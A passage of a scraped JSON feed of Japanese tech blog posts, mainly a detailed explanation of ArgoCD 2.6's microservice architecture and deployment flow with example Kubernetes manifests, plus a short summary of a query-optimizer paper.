16px; border: none; border-radius: 4px; background-color: #1e90ff; color: #ffffff; cursor: pointer; font-size: 14px; font-weight: bold; text-decoration: none; box-shadow: 0 2px 4px rgba(0, 0, 0, 0.2); transition: background-color 0.3s, box-shadow 0.3s; opacity: 0; transition: opacity 0.3s;}pre.code:hover .copy-button { opacity: 1;}.copy-button:hover { background-color: #2980b9; box-shadow: 0 4px 8px rgba(0, 0, 0, 0.4);}.copy-button:focus { outline: none;}.copy-button:active { box-shadow: none; transform: translateY(2px);}\uD83E\uDDBE フッターHTMLの設定を行う 次に、「カスタマイズ」タブの「フッターHTML」に、以下のコードを追加します。\uD83D\uDD0D 確認していくhttps://syu-m-5151.hatenablog.com/entry/2023/04/11/084428 にて確認","link":"https://syu-m-5151.hatenablog.com/entry/2023/05/09/181943","isoDate":"2023-05-09T09:19:43.000Z","dateMiliSeconds":1683623983000,"authorName":"nwiizo","authorId":"nwiizo"},{"title":"クエリオプティマイザの精度を検証した論文を読みました","contentSnippet":"この記事の趣旨2015年に発表されたクエリオプティマイザにおけるカーディナリティ推定とコストモデル、列挙アルゴリズムの貢献度を評価した論文を読んでいきます。How Good Are Query Optimizers, Really?著者についてViktor Leis、Andrey Gubichev、Atanas Mirchev、Peter Boncz、Alfons Kemper、Thomas Neumannらのグループによる論文。ほとんどのメンバーはDBMSにおける最適化について研究しているが、Atanas Mirchevはより統計や探索といった最適化よりの研究をしている。問題意識良い結合順序を見つけることはクエリの性能に対して大きな影響を与えるため、熱心に研究されてきた。古典的なクエリ最適化のアプローチでは以下のステップで動的計画方に基づいた最適化を行なう。1. 有効な結合順序の列挙1. カーディナリティ推定値を入力としたコストモデルの選択理論的にはカーディナリティとコストモデルの推定値が正確であれば、最適なクエリプランを選択することができる。しかし現実にはカーディナリティ推定は一様性や独立性といった単純化された仮定に基づいており、しばしばそのような仮定は間違っているため悲惨な計画を作成する。手法この論文ではカーディナリティ推定器の評価と正確なコストモデルの重要性の評価、そして列挙された結合順序の空間がどの程度影響するのかを以下の方法で検証し、貢献を行なっている。1. IMDBデータを用いたJoin Order BenchmarkというJOINにフォーカスしたベンチマークによる評価を行なう1. 実世界のデータセットにおける現実的なクエリを用いたE2Eの検証を行なう。1. クエリ性能に対するカーディナリティ・コストモデル・列挙アルゴリズムの貢献度を定量化し、最適なクエリプラン生成のためのガイドラインを策定している。作業時間read29:3829:38author33:083:30summary48:4414:36感想時間が無くまとめ途中で切り上げてしまった。やらないよりマシではあるものの、ちゃんと纏めるときにくらべて理解度に影響が出そうなので時間に余裕を持っておきたい。内容自体はGW中にPostgreSQLの実装を読んでいたこともあり、わりと理解しやすかった。","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/16_query_optimization_performance","isoDate":"2023-05-08T02:13:43.000Z","dateMiliSeconds":1683512023000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"[Kubernetes 1.27] Dynamic Resource Allocation のいま","contentSnippet":"!Kubernetes 1.27 時点でアルファ機能のため、実装が大きく変わる可能性があります。 はじめにKubeCon Europe 2023 で KEP-3063 Dynamic Resource Allocation (DRA) についての深い話と DRA Resource Driver の実装方法の話があったので、kubernetes-sigs/dra-example-driver をベースに触りながら検証してみました。toVersus/fake-dra-driver で公開しています。Device Plugins 2.0: How to Build a Drive...","link":"https://zenn.dev/toversus/articles/fe2aa06f133b49","isoDate":"2023-05-06T02:11:55.000Z","dateMiliSeconds":1683339115000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"【ArgoCD\uD83D\uDC19】ArgoCDのマイクロサービスアーキテクチャと自動デプロイの仕組み","contentSnippet":"この記事から得られる知識この記事を読むと、以下を \\"完全に理解\\" できます✌️ArgoCDのアーキテクチャを構成するコンポーネントの種類についてArgoCDがマニフェストを自動デプロイする仕組みについてこの記事から得られる知識01. はじめに02. 概要アーキテクチャレイヤーコンポーネント仕組み(1) repo-serverによるクローン取得(2) application-controllerによるマニフェスト取得(3) application-controllerによるCluster確認(4) application-controllerによる処理結果保管(5) argocd-serverによるキャッシュ取得(6) 管理者のログイン(7) IDプロバイダーへの認証フェーズ委譲(8) dex-serverによる認証リクエスト送信(9) argocd-serverによる認可フェーズ実行(10) application-controllerによるマニフェストデプロイ03. repo-serverrepo-serverとは仕組み(1) InitContainerによるお好きなツールインストール & argocd-cliバイナリコピー(2) repo-serverによる認証情報取得(3) repo-serverのよるクローン取得とポーリング(4) repo-serverによるサイドカーコール(5) repo-serverによる暗号化キーと暗号化変数の取得(6) サイドカーによるプラグイン処理の取得(7) サイドカーによるプラグイン処理の実行04. application-controller、redis-serverapplication-controllerとはredis-serverとは仕組み(1) ArgoCD用Cluster管理者のkubectl applyコマンド(2) application-controllerによるArgoCD系カスタムリソースのReconciliation(3) application-controllerによるマニフェスト取得(4) application-controllerによるヘルスチェック(5) application-controllerによるマニフェスト差分検出(6) application-controllerによる処理結果保管(7) application-controllerによるマニフェストデプロイ05. dex-serverdex-serverとは仕組み(1) プロダクト用Cluster管理者のログイン(2) IDプロバイダーへの認証フェーズ委譲(3) dex-serverによる認可リクエスト作成(4) dex-serverによる認可リクエスト送信(5) IDプロバイダーによる認証フェーズ実施(6) argocd-serverによる認可フェーズ実施06. argocd-server (argocd-apiserver)argocd-serverとは仕組み(1) application-controllerによるヘルスチェック(2) application-controllerによるマニフェスト差分検出(3) application-controllerによる処理結果保管(4) application-controllerによる処理結果取得(5) プロダクト用Cluster管理者のログイン(6) Ingressコントローラーによるルーティング(7) IDプロバイダーへの認証フェーズ委譲(8) IDプロバイダーによる認証フェーズ実施(9) argocd-serverによる認可フェーズ実施(10) application-controllerによるマニフェストデプロイ07. アーキテクチャのまとめ08. おわりに謝辞01. はじめにロケットに乗るタコのツラが腹立つわー。画像引用元：Argo Projectさて最近の業務で、全プロダクトの技術基盤開発チームに携わっており、全プロダクト共有のArgoCD\uD83D\uDC19とAWS EKSをリプレイスしました。今回は、採用した設計プラクティスの紹介も兼ねて、ArgoCDのマイクロサービスアーキテクチャと自動デプロイの仕組みを記事で解説しました。ArgoCDは、kubectlコマンドによるマニフェストのデプロイを自動化するツールです。ArgoCDのアーキテクチャには変遷があり、解説するのは執筆時点 (2023/05/02) 時点で最新の 2.6 系のArgoCDです。アーキテクチャや仕組みはもちろん、個々のマニフェストの実装にもちょっとだけ言及します。それでは、もりもり布教していきます\uD83D\uDE1702. 概要アーキテクチャレイヤーまずは、ArgoCDのアーキテクチャのレイヤーがどのようになっているかを見ていきましょう。ArgoCD公式から、コンポーネント図が公開されています。図から、次のようなことがわかります\uD83D\uDC47下位レイヤー向きにしか依存方向がなく、例えばコアドメインとインフラのレイヤー間で依存性は逆転させていない。レイヤーの種類 (UI、アプリケーション、コアドメイン、インフラ) とそれらの依存方向から、レイヤードアーキテクチャのような構成になっている。特にコアドメインレイヤーが独立したコンポーネントに分割されており、マイクロサービスアーキテクチャを採用している。argo-cd/docs/developer-guide/architecture/components.md at master \xb7 argoproj/argo-cd \xb7 GitHubアーキテクチャは、機能単位の分割方法を採用していると推測しています。本記事では詳しく言及しませんが、マイクロサービスアーキテクチャの分割方法には大小いくつかの種類があり、境界付けられたコンテキストで分割することがベタープラクティスと言われています\uD83D\uDE0E(境界付けられたコンテキストについても、ちゃんと記事を投稿したい...)機能単位による分割は、境界付けられたコンテキストのそれよりも粒度が小さくなります。Monolith to Microservices: Evolutionary Patterns to Transform Your Monolith (English Edition)ArgoCDでは、マイクロサービスアーキテクチャの設計図にコンポーネント図を使用しています。コンポーネント図では、依存方向 (そのコンポーネントがいずれのコンポーネントを使用するのか) に着目できます。そのため、これはマイクロサービス間の依存方向を視覚化するために有効なUML図です\uD83D\uDE46\uD83C\uDFFB‍Component Diagrams - Code With Engineering Playbookコンポーネント次に、コンポーネントの種類を紹介します。ArgoCDの各コンポーネントが組み合わさり、マニフェストの自動的なデプロイを実現します。ArgoCD (2.6系) のコンポーネントはいくつかあり、主要なコンポーネントの種類とレイヤーは以下の通りです\uD83D\uDC47 コンポーネント レイヤー 機能 argocd-server(argocd-apiserver) UI・アプリケーション みんながよく知るArgoCDのダッシュボードです。また、ArgoCDのAPIとしても機能します。現在、複数のレイヤーの責務を持っており、将来的にUIとアプリケーションは異なるコンポーネントに分割されるかもしれません。 application-controller コアドメイン Clusterにマニフェストをデプロイします。また、ArgoCD系カスタムリソースのカスタムコントローラーとしても機能します。 repo-server コアドメイン マニフェスト/チャートリポジトリからクローンを取得します。また、クローンからマニフェストを作成します。 redis-server インフラ application-controllerの処理結果のキャッシュを保管します。 dex-server インフラ SSOを採用する場合、argocd-serverの代わりに認可リクエストを作成し、IDプロバイダーにこれを送信します。これにより、argocd-server上の認証フェーズをIDプロバイダーに委譲できます。 GitOps and Kubernetes: Continuous Deployment with Argo CD, Jenkins X, and Flux以降の図の凡例です。ArgoCDの各コンポーネント (application-controller、argocd-server、dex-server、repo-server) と各リソース (Application、AppProject) を区別しています。仕組みそれでは、ArgoCDは、どのようにコンポーネントを組み合わせて、マニフェストをデプロイするのでしょうか。ここではプロダクト用Cluster管理者 (デプロイ先となるClusterを管理するエンジニア) は、ArgoCDのダッシュボードを介してマニフェストをデプロイするとしましょう。まずは、概要を説明していきます。(1) repo-serverによるクローン取得ArgoCDのCluster上で、repo-serverがマニフェスト/チャートリポジトリのクローンを取得します。(2) application-controllerによるマニフェスト取得application-controllerは、repo-serverからマニフェストを取得します。(3) application-controllerによるCluster確認application-controllerは、プロダクト用Clusterの現状を確認します。(4) application-controllerによる処理結果保管application-controllerは、処理結果をredis-serverに保管します。(5) argocd-serverによるキャッシュ取得argocd-serverは、redis-serverからキャッシュを取得します。(6) 管理者のログインプロダクト用Cluster管理者は、argocd-serverにログインしようとします。(7) IDプロバイダーへの認証フェーズ委譲argocd-serverは、ログイン時にIDプロバイダーに認証フェーズを委譲するために、dex-serverをコールします。(8) dex-serverによる認証リクエスト送信dex-serverは、IDプロバイダーに認可リクエストを作成し、これをIDプロバイダーに送信します。(9) argocd-serverによる認可フェーズ実行argocd-serverで認可フェーズを実施します。ログインが完了し、プロダクト用Cluster管理者は認可スコープに応じてダッシュボードを操作できます。(10) application-controllerによるマニフェストデプロイapplication-controllerは、Clusterにマニフェストをデプロイします。マニフェストのデプロイの仕組みをざっくり紹介しました。ただこれだと全く面白くないため、各コンポーネントの具体的な処理と、各々がどのように通信しているのかを説明します✌️03. repo-serverrepo-serverとはまずは、コアドメインレイヤーにあるrepo-serverです。マニフェスト/チャートリポジトリ (例：GiHub、GitHub Pages、Artifact Hub、AWS ECR、Artifact Registry、など) からクローンを取得します。repo-serverを持つPodには、他に軽量コンテナイメージからなるInitContainerとサイドカー (cmp-server) がおり、それぞれ機能が切り分けられています\uD83D\uDC4D仕組み(1) InitContainerによるお好きなツールインストール & argocd-cliバイナリコピーrepo-serverの起動時に、InitContainerでお好きなマニフェスト管理ツール (Helm、Kustomize、など) やプラグイン (helm-secrets、KSOPS、SOPS、argocd-vault-plugin、など) をインストールします。また、サイドカーのcmp-serverでは起動時に/var/run/argocd/argocd-cmp-serverコマンドを実行する必要があり、InitContainer (ここではcopyutilコンテナ) を使用して、ArgoCDのコンテナイメージからargocd-cliのバイナリファイルをコピーします。repo-serverのざっくりした実装例は以下の通りです\uD83D\uDC47ここでは、ArgoCDで使いたいツール (Helm、SOPS、helm-secrets) をInitContainerでインストールしています。apiVersion: v1kind: Podmetadata: name: argocd-repo-server namespace: argocdspec: containers: - name: repo-server image: quay.io/argoproj/argocd:latest initContainers: # HelmをインストールするInitContainer - name: helm-installer image: alpine:latest command: - /bin/sh - -c args: - | # インストール処理 volumeMounts: - mountPath: /custom-tools name: custom-tools # SOPSをインストールするInitContainer - name: sops-installer image: alpine:latest command: - /bin/sh - -c args: - | # インストール処理 volumeMounts: - mountPath: /custom-tools name: custom-tools # helm-secretsをインストールするInitContainer - name: helm-secrets-installer image: alpine:latest command: - /bin/sh - -c args: - | # インストール処理 volumeMounts: - mountPath: /helm-working-dir/plugins name: helm-working-dir ... # cmp-serverにargocd-cliのバイナリをコピーするInitContainer - name: copyutil image: quay.io/argoproj/argocd:latest command: - cp - -n - /usr/local/bin/argocd - /var/run/argocd/argocd-cmp-server volumeMounts: - name: var-files mountPath: /var/run/argocd # Podの共有ボリューム volumes: - name: custom-tools emptyDir: {} - name: var-files emptyDir: {}Custom Tooling - Argo CD - Declarative GitOps CD for Kubernetesquay.io/argoproj/argocd) には、いくつかのツール (例：Helm、Kustomize、Ks、Jsonnet、など) の推奨バージョンがあらかじめインストールされています。そのため、これらのツールのプラグイン (例：helm-secrets) を使用する場合、repo-server内のツールをcmp-serverにコピーすればよいのでは、と思った方がいるかもしれません。この方法は全く問題なく、cmp-serverの/usr/local/binディレクトリ配下にツールをコピーするように、InitContainerを定義してもよいです。apiVersion: v1kind: Podmetadata: name: argocd-repo-server namespace: foospec: containers: - name: repo-server image: quay.io/argoproj/argocd:latest volumeMounts: - mountPath: /usr/local/bin/helm # Podの共有ボリュームを介して、repo-serverでHelmを使用する。 name: custom-tools initContainers: - name: copy-helm image: quay.io/argoproj/argocd:latest # InitContainer上のHelmをVolumeにコピーする command: - /bin/cp - -n - /usr/local/bin/helm - /custom-tools/helm volumeMounts: - mountPath: /custom-tools name: custom-tools # 共有ボリューム volumes: - name: custom-tools emptyDir: {}反対に、これらツールをInitContainerでインストールし直す場合は、ArgoCD上での推奨バージョンをちゃんとインストールするようにしましょう\uD83D\uDC4D2.6系では、ArgoCDのリポジトリ内のtool-versions.shファイルに、Helmのバージョンが定義されています。spec: ... initContainers: - name: helm-installer image: alpine:latest command: - /bin/sh - -c # ArgoCDのリポジトリ上のtool-versions.shファイルから、Helmのバージョンを取得する args: - | apk --update add curl wget ARGOCD_VERSION=$(curl -s https://raw.githubusercontent.com/argoproj/argo-helm/argo-cd-/charts/argo-cd/Chart.yaml | grep appVersion | sed -e \'s/^[^: ]*: //\') HELM_RECOMMENDED_VERSION=$(curl -s https://raw.githubusercontent.com/argoproj/argo-cd/\\"${ARGOCD_VERSION}\\"/hack/tool-versions.sh | grep helm3_version | sed -e \'s/^[^=]*=//\') wget -q https://get.helm.sh/helm-v\\"${HELM_RECOMMENDED_VERSION}\\"-linux-amd64.tar.gz tar -xvf helm-v\\"${HELM_RECOMMENDED_VERSION}\\"-linux-amd64.tar.gz cp ./linux-amd64/helm /custom-tools/ chmod +x /custom-tools/helm volumeMounts: - mountPath: /custom-tools name: custom-tools ...argo-cd/hack/tool-versions.sh at master \xb7 argoproj/argo-cd \xb7 GitHub(2) repo-serverによる認証情報取得repo-serverは、Secret (argocd-repo-creds) からリポジトリの認証情報を取得します。argocd-repo-credsではリポジトリの認証情報のテンプレートを管理しています。指定した文字列から始まる (最長一致) URLを持つリポジトリに接続する場合、それらの接続で認証情報を一括して適用できます。argocd-repo-credsのざっくりした実装例は以下の通りです\uD83D\uDC47ここでは、リポジトリのSSH公開鍵認証を採用し、argocd-repo-credsに共通の秘密鍵を設定しています。apiVersion: v1kind: Secretmetadata: name: argocd-repo-creds-github namespace: argocd labels: argocd.argoproj.io/secret-type: repo-credstype: Opaquedata: type: git url: https://github.com/hiroki-hasegawa # 秘密鍵 sshPrivateKey: | MIIC2 ...あとは、各リポジトリのSecret (argocd-repo) にURLを設定しておきます。すると、先ほどのargocd-repo-credsのURLに最長一致するURLを持つSecretには、一括して秘密鍵が適用されます。# foo-repositoryをポーリングするためのargocd-repoapiVersion: v1kind: Secretmetadata: namespace: argocd name: foo-argocd-repo labels: argocd.argoproj.io/secret-type: repositorytype: Opaquedata: # 認証情報は設定しない。 # チャートリポジトリ名 name: bar-repository # https://github.com/hiroki-hasegawa に最長一致する。 url: https://github.com/hiroki-hasegawa/bar-chart.git---# baz-repositoryをポーリングするためのargocd-repoapiVersion: v1kind: Secretmetadata: namespace: foo name: baz-argocd-repo labels: argocd.argoproj.io/secret-type: repositorytype: Opaquedata: # 認証情報は設定しない。 # チャートリポジトリ名 name: baz-repository # https://github.com/hiroki-hasegawa に最長一致する。 url: https://github.com/hiroki-hasegawa/baz-chart.gitDeclarative Setup - Argo CD - Declarative GitOps CD for Kubernetes(3) repo-serverのよるクローン取得とポーリングrepo-serverは、認証情報を使用して、リポジトリにgit cloneコマンドを実行します。取得したクローンを、/tmp/_argocd-repoディレクトリ配下にUUIDの名前で保管します。また、リポジトリの変更をポーリングし、変更を検知した場合はgit fetchコマンドを実行します。# クローンが保管されていることを確認できる$ kubectl -it exec argocd-repo-server \\\\ -c repo-server \\\\ -n foo \\\\ -- bash -c \\"ls /tmp/_argocd-repo/\\"# リポジトリ内のファイルChart.yaml README.md templates values.yamlcustom repo-server - where is the local cache kept? \xb7 argoproj/argo-cd \xb7 Discussion #9889 \xb7 GitHub2.3以前では、repo-serverは/tmpディレクトリ配下にURLに基づく名前でクローンを保管します。$ kubectl -it exec argocd-repo-server \\\\ -c repo-server \\\\ -n foo \\\\ -- bash -c \\"ls /tmp/https___github.com_hiroki-hasegawa_foo-repository\\"# リポジトリ内のファイルChart.yaml README.md templates values.yaml(4) repo-serverによるサイドカーコールrepo-serverは、自身にマウントされたいくつかのマニフェスト管理ツール (例：Helm、Kustomize) を実行する機能を持っています。しかし、実行できないツールに関してはサイドカー (cmp-server) をコールします。この時、Applicationのspec.source.pluginキーでプラグイン名を指定すると、そのApplicationではサイドカーをコールします。逆を言えば、プラグイン名を指定していないApplicationは、サイドカーをコールしない です。apiVersion: argoproj.io/v1alpha1kind: Applicationmetadata: name: foo-application namespace: foospec: source: plugin: name: helm-secretsこのコールは、Volume上のUnixドメインソケットを経由します。Unixドメインソケットのエンドポイントの実体は.sockファイルです。$ kubectl exec -it argocd-repo-server -c foo-plugin-cmp-server\\\\ -- bash -c \\"ls /home/argocd/cmp-server/plugins/\\"foo-plugin.sockUnixソケットドメインは、同じOS上のファイルシステムを介して、データを直接的に送受信する仕組みです。Unixソケットドメインを使用すると、同じVolumeがマウントされたコンテナのプロセス間で、データを送受信できます\uD83D\uDC4DASCII.jp：Unixドメインソケット (1/2)(5) repo-serverによる暗号化キーと暗号化変数の取得cmp-serverは、暗号化キー (例：AWS KMS、Google CKM、など) を使用してSecretストア (例：AWS SecretManager、Google SecretManager、SOPS、Vault、など) の暗号化変数を復号化します。クラウドプロバイダーにある場合、クラウドプロバイダーがHTTPSプロトコルの使用を求める場合があります。cmp-serverに軽量なコンテナイメージを使用していると、ディレクトリはOSによって異なりますが/etc/sslディレクトリにSSL証明書が無く、cmp-serverがHTTPSプロトコルを使用できない可能性があります。その場合は、お好きな方法で証明書をインストールし、コンテナにマウントするようにしてください\uD83D\uDC4DapiVersion: v1kind: Podmetadata: name: argocd-repo-server namespace: foospec: containers: - name: repo-server image: quay.io/argoproj/argocd:latest ... # サイドカーのcmp-server - name: helm-secrets-cmp-server image: ubuntu:latest ... volumeMounts: # サイドカーがAWS KMSを使用する時にHTTPSリクエストを送信する必要があるため、SSL証明書をマウントする - name: certificate mountPath: /etc/ssl ... initContainers: - name: certificate-installer image: ubuntu:latest command: - /bin/sh - -c args: - | apt-get update -y # ルート証明書をインストールする apt-get install -y ca-certificates # 証明書を更新する update-ca-certificates volumeMounts: - mountPath: /etc/ssl name: certificate volumes: - name: certificate emptyDir: {}(6) サイドカーによるプラグイン処理の取得cmp-serverは、マニフェスト管理ツールのプラグイン (helm-secrets、argocd-vault-plugin、など) を実行します。この時マニフェストの作成時のプラグインとして、ConfigMap配下のConfigManagementPluginでプラグインの処理を定義します。ざっくりした実装例は以下の通りです\uD83D\uDC47ここでは、プラグインとしてhelm-secretsを採用し、helm secrets templateコマンドの実行を定義します。apiVersion: v1kind: ConfigMapmetadata: name: argocd-cmp-cm namespace: foodata: helm-secrets-plugin.yaml: | apiVersion: argoproj.io/v1alpha1 kind: ConfigManagementPlugin metadata: namespace: foo name: helm-secrets # このプラグイン名は、Applicationのspec.source.pluginキーで指定したもの spec: generate: command: - /bin/bash - -c args: - | set -o pipefail helm secrets template -f $ARGOCD_ENV_SECRETS -f $ARGOCD_ENV_VALUES -n $ARGOCD_APP_NAMESPACE $ARGOCD_APP_NAME . foo-plugin.yaml: | ...複数のConfigManagementPluginのマニフェストを定義できるように、各ConfigManagementPluginで異なるファイル名とし、ConfigMapで管理するとよいです\uD83D\uDC4D(7) サイドカーによるプラグイン処理の実行cmp-serverはプラグインを実行し、Secretを含むマニフェストを作成します。ConfigMap配下のファイルをplugin.yamlの名前でサイドカーにマウントする必要があります。また、先ほどのUnixドメインソケットの.sockファイルや、 cmp-serverがプラグインを実行するための各バイナリファイルもマウントが必要です。ざっくりした実装例は以下の通りです\uD83D\uDC47ここでは、helm-secretsプラグインを実行するサイドカー (helm-secrets-cmp-server) を作成します。apiVersion: v1kind: Podmetadata: name: argocd-repo-serverspec: containers: # repo-server - name: repo-server image: quay.io/argoproj/argocd:latest ... # helm-secretsのcmp-server - name: helm-secrets-cmp-server # コンテナイメージは軽量にする image: ubuntu:latest command: - /var/run/argocd/argocd-cmp-server env: # helmプラグインの場所を設定する - name: HELM_PLUGINS value: /helm-working-dir/plugins securityContext: runAsNonRoot: true runAsUser: 999 volumeMounts: # リポジトリのクローンをコンテナにマウントする - name: tmp mountPath: /tmp # ConfigManagementPluginのマニフェスト (helm-secrets.yaml) を \\"plugin.yaml\\" の名前でコンテナにマウントする - name: argocd-cmp-cm mountPath: /home/argocd/cmp-server/config/plugin.yaml subPath: helm-secrets.yaml # コンテナ間で通信するためのUnixドメインソケットファイルをコンテナにマウントする - name: plugins mountPath: /home/argocd/cmp-server/plugins # 任意のツールのバイナリファイルをコンテナにマウントする - name: custom-tools mountPath: /usr/local/bin # helmプラグインのバイナリをコンテナにマウントする - name: helm-working-dir mountPath: /helm-working-dir/plugins ... # Podの共有ボリューム volumes: # リポジトリのクローンを含む - name: tmp emptyDir: {} # Helmなどの任意のツールを含む - name: custom-tools emptyDir: {} # helmプラグインを含む - name: helm-working-dir emptyDir: {}ArgoCDのv2.6では、ConfigManagementPluginのマニフェストを/home/argocd/cmp-server/configディレクトリに、plugin.yamlの名前でマウントしないといけません。これは、cmp-serverの起動コマンド (/var/run/argocd/argocd-cmp-server) がplugin.yamlの名前しか扱えないためです。ArgoCD公式の見解で、サイドカーでは単一のプラグインしか実行できないように設計しているとのコメントがありました。今後のアップグレードで改善される可能性がありますが、v2.6では、ConfigManagementPluginの数だけcmp-serverが必要になってしまいます\uD83D\uDE47\uD83C\uDFFB‍use multiple plugins in sidecar installation method \xb7 argoproj/argo-cd \xb7 Discussion #12278 \xb7 GitHubKustomizeのプラグイン (例：KSOPS) によるマニフェスト作成は、サイドカーではなくrepo-serverで実行した方がよいかもしれません (Helmプラグインはサイドカーで問題ないです)。執筆時点 (2023/05/02) では、ArgoCDとKustomizeが密に結合しています。例えば、ArgoCD上のKustomize系オプションはrepo-serverでマニフェストを作成することを想定して設計されています。無理やりサイドカーでKustomizeのプラグインを実行しようとすると、ArgoCDの既存のオプションを無視した実装になってしまうため、Kustomizeのプラグインだけはrepo-serverで実行することをお勧めします\uD83D\uDE22今回は詳しく言及しませんが、クラウドプロバイダーのSecretストア (例：AWS SecretManager、Google SecretManager、など) の変数を使用する場合は、Secretのデータ注入ツールのプラグイン (特にargocd-vault-plugin) を採用しなくてもよい。この場合、代わりにSecretsストアCSIドライバーやExternalSecretsOperatorを使用できます。これらは、クラウドプロバイダーから変数を取得し、これをSecretにデータとして注入してくれます\uD83D\uDE47\uD83C\uDFFB‍How to manage Kubernetes secrets with GitOps? | Akuity04. application-controller、redis-serverapplication-controllerとはコアドメインレイヤーにあるapplication-controllerです。Clusterにマニフェストをデプロイします。また、ArgoCD系カスタムリソースのカスタムコントローラーとしても機能します。redis-serverとはインフラレイヤーにあるredis-serverです。application-controllerの処理結果のキャッシュを保管します。仕組み(1) ArgoCD用Cluster管理者のkubectl applyコマンドArgoCD用Clusterの管理者は、ClusterにArgoCD系のカスタムリソース (例：Application、AppProject、など)　をデプロイします。マニフェストを作成できます。️GitHub - argoproj/argo-helm: ArgoProj Helm ChartsただしHelmの重要な仕様として、チャートの更新時に使用するhelm upgradeコマンドは、CRDを作成できる一方でこれを変更できません。HelmでCRDを作成するとHelmの管理ラベルが挿入されてしまうため、作成の時点からCRDがHelmの管理外となるように、kubectlコマンドでCRDを作成した方がよいです\uD83D\uDC4D$ kubectl diff -k \\"https://github.com/argoproj/argo-cd/manifests/crds?ref=<バージョンタグ>\\"$ kubectl apply -k \\"https://github.com/argoproj/argo-cd/manifests/crds?ref=<バージョンタグ>\\"ArgoCD上でHelmを使用してデプロイする場合はこの仕様を気にしなくてよいのかな、と思った方がいるかもしれないです。ですが本記事で解説した通り、ArgoCDはcmp-serverのhelm templateコマンド (この時、--include-crdsオプションが有効になっている) や、application-controllerのkubectl applyコマンドを組み合わせてマニフェストをデプロイしているため、CRDもちゃんと更新してくれます\uD83D\uDC4D\uD83C\uDFFB️Helm | Custom Resource Definitions(2) application-controllerによるArgoCD系カスタムリソースのReconciliationkube-controller-managerは、application-controllerを操作し、Reconciliationを実施します。application-controllerは、Etcd上に永続化されたマニフェストと同じ状態のArgoCD系カスタムリソースを作成/変更します。How Operators work in Kubernetes | Red Hat Developer(3) application-controllerによるマニフェスト取得application-controllerは、repo-serverからリポジトリのマニフェストを取得します。取得したマニフェストは、repo-serverのサイドカーであるcmp-serverが作成したものです。(4) application-controllerによるヘルスチェックapplication-controllerは、プロダクト用Clusterをヘルスチェックします。application-controllerには、gitops-engineパッケージが内蔵されており、これはヘルスチェックからデプロイまでの基本的な処理を実行します。ディレクトリからなります\uD83D\uDC47\uD83D\uDC31 gitops-engine/├── \uD83D\uDCC2 pkg│ ├── cache│ ├── diff # リポジトリとClusterの間のマニフェストの差分を検出する。ArgoCDのDiff機能に相当する。│ ├── engine # 他のパッケージを使い、GitOpsの一連の処理を実行する。│ ├── health # Clusterのステータスをチェックする。ArgoCDのヘルスチェック機能に相当する。│ ├── sync # Clusterにマニフェストをデプロイする。ArgoCDのSync機能に相当する。│ └── utils # 他のパッケージに汎用的な関数を提供する。│...gitops-engine/specs/design-top-down.md at master \xb7 argoproj/gitops-engine \xb7 GitHub(5) application-controllerによるマニフェスト差分検出application-controllerは、プロダクト用Clusterのマニフェストと、repo-serverから取得したマニフェストの差分を検出します。ここで、kubectl diffコマンドの実行が自動化されています。(6) application-controllerによる処理結果保管application-controllerは、処理結果をredis-serverに保管します。redis-serverは、Applicationやリポジトリのコミットの単位で、application-controllerの処理結果を保管しています。$ kubectl exec -it argocd-redis-server \\\\ -n foo \\\\ -- sh -c \\"redis-cli --raw\\"127.0.0.1:6379> keys *...app|resources-tree||<キャッシュバージョン>cluster|info|<プロダクト用ClusterのURL>|<キャッシュバージョン>git-refs|<マニフェスト/チャートリポジトリのURL>|<キャッシュバージョン>mfst|app.kubernetes.io/instance||<最新のコミットハッシュ値>|<デプロイ先Namespace>|*****|<キャッシュバージョン>...(7) application-controllerによるマニフェストデプロイapplication-controllerは、Applicationの操作に応じて、Clusterにマニフェストをデプロイします。ここで、kubectl applyコマンドの実行が自動化されています。Kubernetesリソースのマニフェストには、metadata.managedFieldsキーがあり、何がそのマニフェストを作成/変更したのかを確認できます。実際にマニフェストを確認してみると、確かにapplication-controllerがマニフェストを作成/変更してくれたことを確認できます。apiVersion: apps/v1kind: Deploymentmetadata: managedFields: # ArgoCDのapplication-controllerによる管理 - manager: argocd-application-controller apiVersion: apps/v1 # kube-apiserverに対するリクエスト内容 operation: Update time: \\"2022-01-01T16:00:00.000Z\\" # ArgoCDのapplication-controllerが管理するマニフェストのキー部分 fields: ...️Server-Side Apply | Kubernetes05. dex-serverdex-serverとはインフラレイヤーにあるdex-serverです。SSO (例：OAuth 2.0、SAML、OIDC) を採用する場合、argocd-serverの代わりに認可リクエストを作成し、IDプロバイダー (例：GitHub、Keycloak、AWS Cognito、Google Auth、など) にこれを送信します。これにより、argocd-server上の認証フェーズをIDプロバイダーに委譲できます。GitHub - dexidp/dex: OpenID Connect (OIDC) identity and OAuth 2.0 provider with pluggable connectorsエストを直接的に送信することもできます。執筆時点 (2023/05/02) で、argocd-serverは特にOIDCの認可リクエストを作成できるため、ログイン要件がOIDCの場合は、dex-serverを必ずしも採用してなくもよいです。言い換えれば、その他のSSO (例：OAuth 2.0、SAML) を使用する場合は、dex-serverを採用する必要があります\uD83D\uDC4D️Overview - Argo CD - Declarative GitOps CD for Kubernetes仕組み(1) プロダクト用Cluster管理者のログインプロダクト用Cluster管理者がダッシュボード (argocd-server) にSSOを使用してログインしようとします。(2) IDプロバイダーへの認証フェーズ委譲argocd-serverは、認証フェーズをIDプロバイダーに委譲するために、dex-serverをコールします。Authentication and Authorization - Argo CD - Declarative GitOps CD for Kubernetes(3) dex-serverによる認可リクエスト作成dex-serverは、認可リクエストを作成します。認可リクエストに必要な情報は、ConfigMap (argocd-cm) で設定しておく必要があります。argocd-cmのざっくりした実装例は以下の通りです\uD83D\uDC47ここでは、IDプロバイダーをGitHubとし、認可リクエストに必要なクライアントIDとクライアントシークレットを設定しています。apiVersion: v1kind: ConfigMapmetadata: namespace: foo name: argocd-cmdata: dex.config: | connectors: - type: github id: github name: GitHub SSO config: clientID: ***** clientSecret: ***** # dex-serverが認可レスポンスを受信するURLを設定する redirectURI: https://example.com/api/dex/callbackdex.configキー配下の設定方法に関しては、dexのドキュメントをみるとよいです\uD83D\uDC4DDex(4) dex-serverによる認可リクエスト送信dex-serverは、前の手順で作成した認可リクエストをIDプロバイダーに送信します。(5) IDプロバイダーによる認証フェーズ実施IDプロバイダー側でSSOの認証フェーズを実施します。IDプロバイダーは、コールバックURL (/api/dex/callback) 